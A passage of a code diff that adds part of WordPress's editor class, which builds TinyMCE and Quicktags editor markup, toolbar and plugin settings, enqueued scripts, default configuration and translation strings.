+				$buttons .= '<button type="button" id="' . $editor_id_attr . '-html" class="wp-switch-editor switch-html"' .
+					' data-wp-editor-id="' . $editor_id_attr . '">' . _x( 'Text', 'Name for the Text editor tab (formerly HTML)' ) . "</button>\n";
+			} else {
+				$default_editor = 'tinymce';
+			}
+		}
+
+		$switch_class = 'html' === $default_editor ? 'html-active' : 'tmce-active';
+		$wrap_class = 'wp-core-ui wp-editor-wrap ' . $switch_class;
+
+		if ( $set['_content_editor_dfw'] ) {
+			$wrap_class .= ' has-dfw';
+		}
+
+		echo '<div id="wp-' . $editor_id_attr . '-wrap" class="' . $wrap_class . '">';
+
+		if ( self::$editor_buttons_css ) {
+			wp_print_styles( 'editor-buttons' );
+			self::$editor_buttons_css = false;
+		}
+
+		if ( ! empty( $set['editor_css'] ) ) {
+			echo $set['editor_css'] . "\n";
+		}
+
+		if ( ! empty( $buttons ) || $set['media_buttons'] ) {
+			echo '<div id="wp-' . $editor_id_attr . '-editor-tools" class="wp-editor-tools hide-if-no-js">';
+
+			if ( $set['media_buttons'] ) {
+				self::$has_medialib = true;
+
+				if ( ! function_exists( 'media_buttons' ) )
+					include( ABSPATH . 'wp-admin/includes/media.php' );
+
+				echo '<div id="wp-' . $editor_id_attr . '-media-buttons" class="wp-media-buttons">';
+
+				/**
+				 * Fires after the default media button(s) are displayed.
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				do_action( 'media_buttons', $editor_id );
+				echo "</div>\n";
+			}
+
+			echo '<div class="wp-editor-tabs">' . $buttons . "</div>\n";
+			echo "</div>\n";
+		}
+
+		$quicktags_toolbar = '';
+
+		if ( self::$this_quicktags ) {
+			if ( 'content' === $editor_id && ! empty( $GLOBALS['current_screen'] ) && $GLOBALS['current_screen']->base === 'post' ) {
+				$toolbar_id = 'ed_toolbar';
+			} else {
+				$toolbar_id = 'qt_' . $editor_id_attr . '_toolbar';
+			}
+
+			$quicktags_toolbar = '<div id="' . $toolbar_id . '" class="quicktags-toolbar"></div>';
+		}
+
+		/**
+		 * Filters the HTML markup output that displays the editor.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $output Editor's HTML markup.
+		 */
+		$the_editor = apply_filters( 'the_editor', '<div id="wp-' . $editor_id_attr . '-editor-container" class="wp-editor-container">' .
+			$quicktags_toolbar .
+			'<textarea' . $editor_class . $height . $tabindex . $autocomplete . ' cols="40" name="' . esc_attr( $set['textarea_name'] ) . '" ' .
+			'id="' . $editor_id_attr . '">%s</textarea></div>' );
+
+		// Prepare the content for the Visual or Text editor, only when TinyMCE is used (back-compat).
+		if ( self::$this_tinymce ) {
+			add_filter( 'the_editor_content', 'format_for_editor', 10, 2 );
+		}
+
+		/**
+		 * Filters the default editor content.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $content        Default editor content.
+		 * @param string $default_editor The default editor for the current user.
+		 *                               Either 'html' or 'tinymce'.
+		 */
+		$content = apply_filters( 'the_editor_content', $content, $default_editor );
+
+		// Remove the filter as the next editor on the same page may not need it.
+		if ( self::$this_tinymce ) {
+			remove_filter( 'the_editor_content', 'format_for_editor' );
+		}
+
+		// Back-compat for the `htmledit_pre` and `richedit_pre` filters
+		if ( 'html' === $default_editor && has_filter( 'htmledit_pre' ) ) {
+			/** This filter is documented in wp-includes/deprecated.php */
+			$content = apply_filters_deprecated( 'htmledit_pre', array( $content ), '4.3.0', 'format_for_editor' );
+		} elseif ( 'tinymce' === $default_editor && has_filter( 'richedit_pre' ) ) {
+			/** This filter is documented in wp-includes/deprecated.php */
+			$content = apply_filters_deprecated( 'richedit_pre', array( $content ), '4.3.0', 'format_for_editor' );
+		}
+
+		if ( false !== stripos( $content, 'textarea' ) ) {
+			$content = preg_replace( '%</textarea%i', '&lt;/textarea', $content );
+		}
+
+		printf( $the_editor, $content );
+		echo "\n</div>\n\n";
+
+		self::editor_settings( $editor_id, $set );
+	}
+
+	/**
+	 * @static
+	 *
+	 * @global string $tinymce_version
+	 *
+	 * @param string $editor_id
+	 * @param array  $set
+	 */
+	public static function editor_settings($editor_id, $set) {
+		global $tinymce_version;
+
+		if ( empty(self::$first_init) ) {
+			if ( is_admin() ) {
+				add_action( 'admin_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 );
+				add_action( 'admin_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 );
+				add_action( 'admin_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 );
+			} else {
+				add_action( 'wp_print_footer_scripts', array( __CLASS__, 'editor_js' ), 50 );
+				add_action( 'wp_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 );
+				add_action( 'wp_print_footer_scripts', array( __CLASS__, 'enqueue_scripts' ), 1 );
+			}
+		}
+
+		if ( self::$this_quicktags ) {
+
+			$qtInit = array(
+				'id' => $editor_id,
+				'buttons' => ''
+			);
+
+			if ( is_array($set['quicktags']) )
+				$qtInit = array_merge($qtInit, $set['quicktags']);
+
+			if ( empty($qtInit['buttons']) )
+				$qtInit['buttons'] = 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';
+
+			if ( $set['_content_editor_dfw'] ) {
+				$qtInit['buttons'] .= ',dfw';
+			}
+
+			/**
+			 * Filters the Quicktags settings.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param array  $qtInit    Quicktags settings.
+			 * @param string $editor_id The unique editor ID, e.g. 'content'.
+			 */
+			$qtInit = apply_filters( 'quicktags_settings', $qtInit, $editor_id );
+
+			self::$qt_settings[$editor_id] = $qtInit;
+
+			self::$qt_buttons = array_merge( self::$qt_buttons, explode(',', $qtInit['buttons']) );
+		}
+
+		if ( self::$this_tinymce ) {
+
+			if ( empty( self::$first_init ) ) {
+				$baseurl = self::get_baseurl();
+				$mce_locale = self::get_mce_locale();
+				$ext_plugins = '';
+
+				if ( $set['teeny'] ) {
+
+					/**
+					 * Filters the list of teenyMCE plugins.
+					 *
+					 * @since 2.7.0
+					 *
+					 * @param array  $plugins   An array of teenyMCE plugins.
+					 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+					 */
+					$plugins = apply_filters( 'teeny_mce_plugins', array( 'colorpicker', 'lists', 'fullscreen', 'image', 'wordpress', 'wpeditimage', 'wplink' ), $editor_id );
+				} else {
+
+					/**
+					 * Filters the list of TinyMCE external plugins.
+					 *
+					 * The filter takes an associative array of external plugins for
+					 * TinyMCE in the form 'plugin_name' => 'url'.
+					 *
+					 * The url should be absolute, and should include the js filename
+					 * to be loaded. For example:
+					 * 'myplugin' => 'http://mysite.com/wp-content/plugins/myfolder/mce_plugin.js'.
+					 *
+					 * If the external plugin adds a button, it should be added with
+					 * one of the 'mce_buttons' filters.
+					 *
+					 * @since 2.5.0
+					 *
+					 * @param array $external_plugins An array of external TinyMCE plugins.
+					 */
+					$mce_external_plugins = apply_filters( 'mce_external_plugins', array() );
+
+					$plugins = array(
+						'charmap',
+						'colorpicker',
+						'hr',
+						'lists',
+						'media',
+						'paste',
+						'tabfocus',
+						'textcolor',
+						'fullscreen',
+						'wordpress',
+						'wpautoresize',
+						'wpeditimage',
+						'wpemoji',
+						'wpgallery',
+						'wplink',
+						'wpdialogs',
+						'wptextpattern',
+						'wpview',
+					);
+
+					if ( ! self::$has_medialib ) {
+						$plugins[] = 'image';
+					}
+
+					/**
+					 * Filters the list of default TinyMCE plugins.
+					 *
+					 * The filter specifies which of the default plugins included
+					 * in WordPress should be added to the TinyMCE instance.
+					 *
+					 * @since 3.3.0
+					 *
+					 * @param array $plugins An array of default TinyMCE plugins.
+					 */
+					$plugins = array_unique( apply_filters( 'tiny_mce_plugins', $plugins ) );
+
+					if ( ( $key = array_search( 'spellchecker', $plugins ) ) !== false ) {
+						// Remove 'spellchecker' from the internal plugins if added with 'tiny_mce_plugins' filter to prevent errors.
+						// It can be added with 'mce_external_plugins'.
+						unset( $plugins[$key] );
+					}
+
+					if ( ! empty( $mce_external_plugins ) ) {
+
+						/**
+						 * Filters the translations loaded for external TinyMCE 3.x plugins.
+						 *
+						 * The filter takes an associative array ('plugin_name' => 'path')
+						 * where 'path' is the include path to the file.
+						 *
+						 * The language file should follow the same format as wp_mce_translation(),
+						 * and should define a variable ($strings) that holds all translated strings.
+						 *
+						 * @since 2.5.0
+						 *
+						 * @param array $translations Translations for external TinyMCE plugins.
+						 */
+						$mce_external_languages = apply_filters( 'mce_external_languages', array() );
+
+						$loaded_langs = array();
+						$strings = '';
+
+						if ( ! empty( $mce_external_languages ) ) {
+							foreach ( $mce_external_languages as $name => $path ) {
+								if ( @is_file( $path ) && @is_readable( $path ) ) {
+									include_once( $path );
+									$ext_plugins .= $strings . "\n";
+									$loaded_langs[] = $name;
+								}
+							}
+						}
+
+						foreach ( $mce_external_plugins as $name => $url ) {
+							if ( in_array( $name, $plugins, true ) ) {
+								unset( $mce_external_plugins[ $name ] );
+								continue;
+							}
+
+							$url = set_url_scheme( $url );
+							$mce_external_plugins[ $name ] = $url;
+							$plugurl = dirname( $url );
+							$strings = '';
+
+							// Try to load langs/[locale].js and langs/[locale]_dlg.js
+							if ( ! in_array( $name, $loaded_langs, true ) ) {
+								$path = str_replace( content_url(), '', $plugurl );
+								$path = WP_CONTENT_DIR . $path . '/langs/';
+
+								if ( function_exists('realpath') )
+									$path = trailingslashit( realpath($path) );
+
+								if ( @is_file( $path . $mce_locale . '.js' ) )
+									$strings .= @file_get_contents( $path . $mce_locale . '.js' ) . "\n";
+
+								if ( @is_file( $path . $mce_locale . '_dlg.js' ) )
+									$strings .= @file_get_contents( $path . $mce_locale . '_dlg.js' ) . "\n";
+
+								if ( 'en' != $mce_locale && empty( $strings ) ) {
+									if ( @is_file( $path . 'en.js' ) ) {
+										$str1 = @file_get_contents( $path . 'en.js' );
+										$strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str1, 1 ) . "\n";
+									}
+
+									if ( @is_file( $path . 'en_dlg.js' ) ) {
+										$str2 = @file_get_contents( $path . 'en_dlg.js' );
+										$strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str2, 1 ) . "\n";
+									}
+								}
+
+								if ( ! empty( $strings ) )
+									$ext_plugins .= "\n" . $strings . "\n";
+							}
+
+							$ext_plugins .= 'tinyMCEPreInit.load_ext("' . $plugurl . '", "' . $mce_locale . '");' . "\n";
+						}
+					}
+				}
+
+				self::$plugins = $plugins;
+				self::$ext_plugins = $ext_plugins;
+
+				$settings = self::default_settings();
+				$settings['plugins'] = implode( ',', $plugins );
+
+				if ( ! empty( $mce_external_plugins ) ) {
+					$settings['external_plugins'] = wp_json_encode( $mce_external_plugins );
+				}
+
+				/** This filter is documented in wp-admin/includes/media.php */
+				if ( apply_filters( 'disable_captions', '' ) ) {
+					$settings['wpeditimage_disable_captions'] = true;
+				}
+
+				$mce_css = $settings['content_css'];
+				$editor_styles = get_editor_stylesheets();
+
+				if ( ! empty( $editor_styles ) ) {
+					// Force urlencoding of commas.
+					foreach ( $editor_styles as $key => $url ) {
+						if ( strpos( $url, ',' ) !== false ) {
+							$editor_styles[ $key ] = str_replace( ',', '%2C', $url );
+						}
+					}
+
+					$mce_css .= ',' . implode( ',', $editor_styles );
+				}
+
+				/**
+				 * Filters the comma-delimited list of stylesheets to load in TinyMCE.
+				 *
+				 * @since 2.1.0
+				 *
+				 * @param string $stylesheets Comma-delimited list of stylesheets.
+				 */
+				$mce_css = trim( apply_filters( 'mce_css', $mce_css ), ' ,' );
+
+				if ( ! empty( $mce_css ) ) {
+					$settings['content_css'] = $mce_css;
+				} else {
+					unset( $settings['content_css'] );
+				}
+
+				self::$first_init = $settings;
+			}
+
+			if ( $set['teeny'] ) {
+
+				/**
+				 * Filters the list of teenyMCE buttons (Text tab).
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param array  $buttons   An array of teenyMCE buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons = apply_filters( 'teeny_mce_buttons', array('bold', 'italic', 'underline', 'blockquote', 'strikethrough', 'bullist', 'numlist', 'alignleft', 'aligncenter', 'alignright', 'undo', 'redo', 'link', 'fullscreen'), $editor_id );
+				$mce_buttons_2 = $mce_buttons_3 = $mce_buttons_4 = array();
+			} else {
+				$mce_buttons = array( 'formatselect', 'bold', 'italic', 'bullist', 'numlist', 'blockquote', 'alignleft', 'aligncenter', 'alignright', 'link', 'wp_more', 'spellchecker' );
+
+				if ( ! wp_is_mobile() ) {
+					if ( $set['_content_editor_dfw'] ) {
+						$mce_buttons[] = 'dfw';
+					} else {
+						$mce_buttons[] = 'fullscreen';
+					}
+				}
+
+				$mce_buttons[] = 'wp_adv';
+
+				/**
+				 * Filters the first-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.0.0
+				 *
+				 * @param array  $buttons   First-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons = apply_filters( 'mce_buttons', $mce_buttons, $editor_id );
+
+				$mce_buttons_2 = array( 'strikethrough', 'hr', 'forecolor', 'pastetext', 'removeformat', 'charmap', 'outdent', 'indent', 'undo', 'redo' );
+
+				if ( ! wp_is_mobile() ) {
+					$mce_buttons_2[] = 'wp_help';
+				}
+
+				/**
+				 * Filters the second-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.0.0
+				 *
+				 * @param array  $buttons   Second-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons_2 = apply_filters( 'mce_buttons_2', $mce_buttons_2, $editor_id );
+
+				/**
+				 * Filters the third-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.0.0
+				 *
+				 * @param array  $buttons   Third-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons_3 = apply_filters( 'mce_buttons_3', array(), $editor_id );
+
+				/**
+				 * Filters the fourth-row list of TinyMCE buttons (Visual tab).
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param array  $buttons   Fourth-row list of buttons.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mce_buttons_4 = apply_filters( 'mce_buttons_4', array(), $editor_id );
+			}
+
+			$body_class = $editor_id;
+
+			if ( $post = get_post() ) {
+				$body_class .= ' post-type-' . sanitize_html_class( $post->post_type ) . ' post-status-' . sanitize_html_class( $post->post_status );
+
+				if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+					$post_format = get_post_format( $post );
+					if ( $post_format && ! is_wp_error( $post_format ) )
+						$body_class .= ' post-format-' . sanitize_html_class( $post_format );
+					else
+						$body_class .= ' post-format-standard';
+				}
+
+				$page_template = get_page_template_slug( $post );
+
+				if ( $page_template !== false ) {
+					$page_template = empty( $page_template ) ? 'default' : str_replace( '.', '-', basename( $page_template, '.php' ) );
+					$body_class .= ' page-template-' . sanitize_html_class( $page_template );
+				}
+			}
+
+			$body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );
+
+			if ( ! empty( $set['tinymce']['body_class'] ) ) {
+				$body_class .= ' ' . $set['tinymce']['body_class'];
+				unset( $set['tinymce']['body_class'] );
+			}
+
+			$mceInit = array (
+				'selector' => "#$editor_id",
+				'wpautop' => (bool) $set['wpautop'],
+				'indent' => ! $set['wpautop'],
+				'toolbar1' => implode( ',', $mce_buttons ),
+				'toolbar2' => implode( ',', $mce_buttons_2 ),
+				'toolbar3' => implode( ',', $mce_buttons_3 ),
+				'toolbar4' => implode( ',', $mce_buttons_4 ),
+				'tabfocus_elements' => $set['tabfocus_elements'],
+				'body_class' => $body_class
+			);
+
+			// Merge with the first part of the init array
+			$mceInit = array_merge( self::$first_init, $mceInit );
+
+			if ( is_array( $set['tinymce'] ) )
+				$mceInit = array_merge( $mceInit, $set['tinymce'] );
+
+			/*
+			 * For people who really REALLY know what they're doing with TinyMCE
+			 * You can modify $mceInit to add, remove, change elements of the config
+			 * before tinyMCE.init. Setting "valid_elements", "invalid_elements"
+			 * and "extended_valid_elements" can be done through this filter. Best
+			 * is to use the default cleanup by not specifying valid_elements,
+			 * as TinyMCE checks against the full set of HTML 5.0 elements and attributes.
+			 */
+			if ( $set['teeny'] ) {
+
+				/**
+				 * Filters the teenyMCE config before init.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param array  $mceInit   An array with teenyMCE config.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mceInit = apply_filters( 'teeny_mce_before_init', $mceInit, $editor_id );
+			} else {
+
+				/**
+				 * Filters the TinyMCE config before init.
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param array  $mceInit   An array with TinyMCE config.
+				 * @param string $editor_id Unique editor identifier, e.g. 'content'.
+				 */
+				$mceInit = apply_filters( 'tiny_mce_before_init', $mceInit, $editor_id );
+			}
+
+			if ( empty( $mceInit['toolbar3'] ) && ! empty( $mceInit['toolbar4'] ) ) {
+				$mceInit['toolbar3'] = $mceInit['toolbar4'];
+				$mceInit['toolbar4'] = '';
+			}
+
+			self::$mce_settings[$editor_id] = $mceInit;
+		} // end if self::$this_tinymce
+	}
+
+	/**
+	 *
+	 * @static
+	 * @param array $init
+	 * @return string
+	 */
+	private static function _parse_init( $init ) {
+		$options = '';
+
+		foreach ( $init as $key => $value ) {
+			if ( is_bool( $value ) ) {
+				$val = $value ? 'true' : 'false';
+				$options .= $key . ':' . $val . ',';
+				continue;
+			} elseif ( ! empty( $value ) && is_string( $value ) && (
+				( '{' == $value{0} && '}' == $value{strlen( $value ) - 1} ) ||
+				( '[' == $value{0} && ']' == $value{strlen( $value ) - 1} ) ||
+				preg_match( '/^\(?function ?\(/', $value ) ) ) {
+
+				$options .= $key . ':' . $value . ',';
+				continue;
+			}
+			$options .= $key . ':"' . $value . '",';
+		}
+
+		return '{' . trim( $options, ' ,' ) . '}';
+	}
+
+	/**
+	 *
+	 * @static
+	 *
+	 * @param bool $default_scripts Optional. Whether default scripts should be enqueued. Default false.
+	 */
+	public static function enqueue_scripts( $default_scripts = false ) {
+		if ( $default_scripts || self::$has_tinymce ) {
+			wp_enqueue_script( 'editor' );
+		}
+
+		if ( $default_scripts || self::$has_quicktags ) {
+			wp_enqueue_script( 'quicktags' );
+			wp_enqueue_style( 'buttons' );
+		}
+
+		if ( $default_scripts || in_array( 'wplink', self::$plugins, true ) || in_array( 'link', self::$qt_buttons, true ) ) {
+			wp_enqueue_script( 'wplink' );
+			wp_enqueue_script( 'jquery-ui-autocomplete' );
+		}
+
+		if ( self::$old_dfw_compat ) {
+			wp_enqueue_script( 'wp-fullscreen-stub' );
+		}
+
+		if ( self::$has_medialib ) {
+			add_thickbox();
+			wp_enqueue_script( 'media-upload' );
+			wp_enqueue_script( 'wp-embed' );
+		} elseif ( $default_scripts ) {
+			wp_enqueue_script( 'media-upload' );
+		}
+
+		/**
+		 * Fires when scripts and styles are enqueued for the editor.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array $to_load An array containing boolean values whether TinyMCE
+		 *                       and Quicktags are being loaded.
+		 */
+		do_action( 'wp_enqueue_editor', array(
+			'tinymce'   => ( $default_scripts || self::$has_tinymce ),
+			'quicktags' => ( $default_scripts || self::$has_quicktags ),
+		) );
+	}
+
+	/**
+	 * Enqueue all editor scripts.
+	 * For use when the editor is going to be initialized after page load.
+	 *
+	 * @since 4.8.0
+	 */
+	public static function enqueue_default_editor() {
+		// We are past the point where scripts can be enqueued properly.
+		if ( did_action( 'wp_enqueue_editor' ) ) {
+			return;
+		}
+
+		self::enqueue_scripts( true );
+
+		// Also add wp-includes/css/editor.css
+		wp_enqueue_style( 'editor-buttons' );
+
+		if ( is_admin() ) {
+			add_action( 'admin_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 );
+			add_action( 'admin_print_footer_scripts', array( __CLASS__, 'print_default_editor_scripts' ), 45 );
+		} else {
+			add_action( 'wp_print_footer_scripts', array( __CLASS__, 'force_uncompressed_tinymce' ), 1 );
+			add_action( 'wp_print_footer_scripts', array( __CLASS__, 'print_default_editor_scripts' ), 45 );
+		}
+	}
+
+	/**
+	 * Print (output) all editor scripts and default settings.
+	 * For use when the editor is going to be initialized after page load.
+	 *
+	 * @since 4.8.0
+	 *
+	 */
+	public static function print_default_editor_scripts() {
+		$user_can_richedit = user_can_richedit();
+
+		if ( $user_can_richedit ) {
+			$settings = self::default_settings();
+
+			$settings['toolbar1'] = 'bold,italic,bullist,numlist,link';
+			$settings['wpautop'] = false;
+			$settings['indent'] = true;
+			$settings['elementpath'] = false;
+
+			if ( is_rtl() ) {
+				$settings['directionality'] = 'rtl';
+			}
+
+			// In production all plugins are loaded (they are in wp-editor.js.gz).
+			// The 'wpview', 'wpdialogs', and 'media' TinyMCE plugins are not initialized by default.
+			// Can be added from js by using the 'wp-before-tinymce-init' event.
+			$settings['plugins'] = implode( ',', array(
+				'charmap',
+				'colorpicker',
+				'hr',
+				'lists',
+				'paste',
+				'tabfocus',
+				'textcolor',
+				'fullscreen',
+				'wordpress',
+				'wpautoresize',
+				'wpeditimage',
+				'wpemoji',
+				'wpgallery',
+				'wplink',
+				'wptextpattern',
+			) );
+
+			$settings = self::_parse_init( $settings );
+		} else {
+			$settings = '{}';
+		}
+
+		?>
+		<script type="text/javascript">
+		window.wp = window.wp || {};
+		window.wp.editor = window.wp.editor || {};
+		window.wp.editor.getDefaultSettings = function() {
+			return {
+				tinymce: <?php echo $settings; ?>,
+				quicktags: {
+					buttons: 'strong,em,link,ul,ol,li,code'
+				}
+			};
+		};
+
+		<?php
+
+		if ( $user_can_richedit ) {
+			$suffix = SCRIPT_DEBUG ? '' : '.min';
+			$baseurl = self::get_baseurl();
+
+			?>
+			var tinyMCEPreInit = {
+				baseURL: "<?php echo $baseurl; ?>",
+				suffix: "<?php echo $suffix; ?>",
+				mceInit: {},
+				qtInit: {},
+				load_ext: function(url,lang){var sl=tinymce.ScriptLoader;sl.markDone(url+'/langs/'+lang+'.js');sl.markDone(url+'/langs/'+lang+'_dlg.js');}
+			};
+			<?php
+		}
+		?>
+		</script>
+		<?php
+
+		if ( $user_can_richedit ) {
+			self::print_tinymce_scripts();
+		}
+
+		/**
+		 * Fires when the editor scripts are loaded for later initialization,
+		 * after all scripts and settings are printed.
+		 *
+		 * @since 4.8.0
+		 */
+		do_action( 'print_default_editor_scripts' );
+
+		self::wp_link_dialog();
+	}
+
+	public static function get_mce_locale() {
+		if ( empty( self::$mce_locale ) ) {
+			$mce_locale = get_user_locale();
+			self::$mce_locale = empty( $mce_locale ) ? 'en' : strtolower( substr( $mce_locale, 0, 2 ) ); // ISO 639-1
+		}
+
+		return self::$mce_locale;
+	}
+
+	public static function get_baseurl() {
+		if ( empty( self::$baseurl ) ) {
+			self::$baseurl = includes_url( 'js/tinymce' );
+		}
+
+		return self::$baseurl;
+	}
+
+	/**
+	 * Returns the default TinyMCE settings.
+	 * Doesn't include plugins, buttons, editor selector.
+	 *
+	 * @global string $tinymce_version
+	 *
+	 * @return array
+	 */
+	private static function default_settings() {
+		global $tinymce_version;
+
+		$shortcut_labels = array();
+
+		foreach ( self::get_translation() as $name => $value ) {
+			if ( is_array( $value ) ) {
+				$shortcut_labels[$name] = $value[1];
+			}
+		}
+
+		$settings = array(
+			'theme' => 'modern',
+			'skin' => 'lightgray',
+			'language' => self::get_mce_locale(),
+			'formats' => '{' .
+				'alignleft: [' .
+					'{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"left"}},' .
+					'{selector: "img,table,dl.wp-caption", classes: "alignleft"}' .
+				'],' .
+				'aligncenter: [' .
+					'{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"center"}},' .
+					'{selector: "img,table,dl.wp-caption", classes: "aligncenter"}' .
+				'],' .
+				'alignright: [' .
+					'{selector: "p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li", styles: {textAlign:"right"}},' .
+					'{selector: "img,table,dl.wp-caption", classes: "alignright"}' .
+				'],' .
+				'strikethrough: {inline: "del"}' .
+			'}',
+			'relative_urls' => false,
+			'remove_script_host' => false,
+			'convert_urls' => false,
+			'browser_spellcheck' => true,
+			'fix_list_elements' => true,
+			'entities' => '38,amp,60,lt,62,gt',
+			'entity_encoding' => 'raw',
+			'keep_styles' => false,
+			'cache_suffix' => 'wp-mce-' . $tinymce_version,
+			'resize' => 'vertical',
+			'menubar' => false,
+			'branding' => false,
+
+			// Limit the preview styles in the menu/toolbar
+			'preview_styles' => 'font-family font-size font-weight font-style text-decoration text-transform',
+
+			'end_container_on_empty_block' => true,
+			'wpeditimage_html5_captions' => true,
+			'wp_lang_attr' => get_bloginfo( 'language' ),
+			'wp_keep_scroll_position' => false,
+			'wp_shortcut_labels' => wp_json_encode( $shortcut_labels ),
+		);
+
+		$suffix = SCRIPT_DEBUG ? '' : '.min';
+		$version = 'ver=' . get_bloginfo( 'version' );
+
+		// Default stylesheets
+		$settings['content_css'] = includes_url( "css/dashicons$suffix.css?$version" ) . ',' .
+			includes_url( "js/tinymce/skins/wordpress/wp-content.css?$version" );
+
+		return $settings;
+	}
+
+	private static function get_translation() {
+		if ( empty( self::$translation ) ) {
+			self::$translation = array(
+			// Default TinyMCE strings
+			'New document' => __( 'New document' ),
+			'Formats' => _x( 'Formats', 'TinyMCE' ),
+
+			'Headings' => _x( 'Headings', 'TinyMCE' ),
+			'Heading 1' => array( __( 'Heading 1' ), 'access1' ),
+			'Heading 2' => array( __( 'Heading 2' ), 'access2' ),
+			'Heading 3' => array( __( 'Heading 3' ), 'access3' ),
+			'Heading 4' => array( __( 'Heading 4' ), 'access4' ),
+			'Heading 5' => array( __( 'Heading 5' ), 'access5' ),
+			'Heading 6' => array( __( 'Heading 6' ), 'access6' ),
+
+			/* translators: block tags */
+			'Blocks' => _x( 'Blocks', 'TinyMCE' ),
+			'Paragraph' => array( __( 'Paragraph' ), 'access7' ),
+			'Blockquote' => array( __( 'Blockquote' ), 'accessQ' ),
+			'Div' => _x( 'Div', 'HTML tag' ),
+			'Pre' => _x( 'Pre', 'HTML tag' ),
+			'Preformatted' => _x( 'Preformatted', 'HTML tag' ),
+			'Address' => _x( 'Address', 'HTML tag' ),
+
+			'Inline' => _x( 'Inline', 'HTML elements' ),
+			'Underline' => array( __( 'Underline' ), 'metaU' ),
+			'Strikethrough' => array( __( 'Strikethrough' ), 'accessD' ),
+			'Subscript' => __( 'Subscript' ),
+			'Superscript' => __( 'Superscript' ),
+			'Clear formatting' => __( 'Clear formatting' ),
+			'Bold' => array( __( 'Bold' ), 'metaB' ),
+			'Italic' => array( __( 'Italic' ), 'metaI' ),
+			'Code' => array( __( 'Code' ), 'accessX' ),
+			'Source code' => __( 'Source code' ),
+			'Font Family' => __( 'Font Family' ),
+			'Font Sizes' => __( 'Font Sizes' ),
+
+			'Align center' => array( __( 'Align center' ), 'accessC' ),
+			'Align right' => array( __( 'Align right' ), 'accessR' ),
+			'Align left' => array( __( 'Align left' ), 'accessL' ),
+			'Justify' => array( __( 'Justify' ), 'accessJ' ),
+			'Increase indent' => __( 'Increase indent' ),
+			'Decrease indent' => __( 'Decrease indent' ),
+
+			'Cut' => array( __( 'Cut' ), 'metaX' ),
+			'Copy' => array( __( 'Copy' ), 'metaC' ),
+			'Paste' => array( __( 'Paste' ), 'metaV' ),
+			'Select all' => array( __( 'Select all' ), 'metaA' ),
+			'Undo' => array( __( 'Undo' ), 'metaZ' ),
+			'Redo' => array( __( 'Redo' ), 'metaY' ),
+
+			'Ok' => __( 'OK' ),
+			'Cancel' => __( 'Cancel' ),
+			'Close' => __( 'Close' ),
+			'Visual aids' => __( 'Visual aids' ),
+
+			'Bullet list' => array( __( 'Bulleted list' ), 'accessU' ),
+			'Numbered list' => array( __( 'Numbered list' ), 'accessO' ),
+			'Square' => _x( 'Square', 'list style' ),
+			'Default' => _x( 'Default', 'list style' ),
+			'Circle' => _x( 'Circle', 'list style' ),
+			'Disc' => _x('Disc', 'list style' ),
+			'Lower Greek' => _x( 'Lower Greek', 'list style' ),
+			'Lower Alpha' => _x( 'Lower Alpha', 'list style' ),
+			'Upper Alpha' => _x( 'Upper Alpha', 'list style' ),
+			'Upper Roman' => _x( 'Upper Roman', 'list style' ),
+			'Lower Roman' => _x( 'Lower Roman', 'list style' ),
+
+			// Anchor plugin
+			'Name' => _x( 'Name', 'Name of link anchor (TinyMCE)' ),
+			'Anchor' => _x( 'Anchor', 'Link anchor (TinyMCE)' ),
+			'Anchors' => _x( 'Anchors', 'Link anchors (TinyMCE)' ),
+			'Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.' =>
+				__( 'Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.' ),
+			'Id' => _x( 'Id', 'Id for link anchor (TinyMCE)' ),
+
+			// Fullpage plugin
+			'Document properties' => __( 'Document properties' ),
+			'Robots' => __( 'Robots' ),
+			'Title' => __( 'Title' ),
+			'Keywords' => __( 'Keywords' ),
+			'Encoding' => __( 'Encoding' ),
+			'Description' => __( 'Description' ),
+			'Author' => __( 'Author' ),
+
+			// Media, image plugins
+			'Image' => __( 'Image' ),
+			'Insert/edit image' => array( __( 'Insert/edit image' ), 'accessM' ),
+			'General' => __( 'General' ),
+			'Advanced' => __( 'Advanced' ),
+			'Source' => __( 'Source' ),
+			'Border' => __( 'Border' ),
+			'Constrain proportions' => __( 'Constrain proportions' ),
+			'Vertical space' => __( 'Vertical space' ),
+			'Image description' => __( 'Image description' ),
+			'Style' => __( 'Style' ),
+			'Dimensions' => __( 'Dimensions' ),
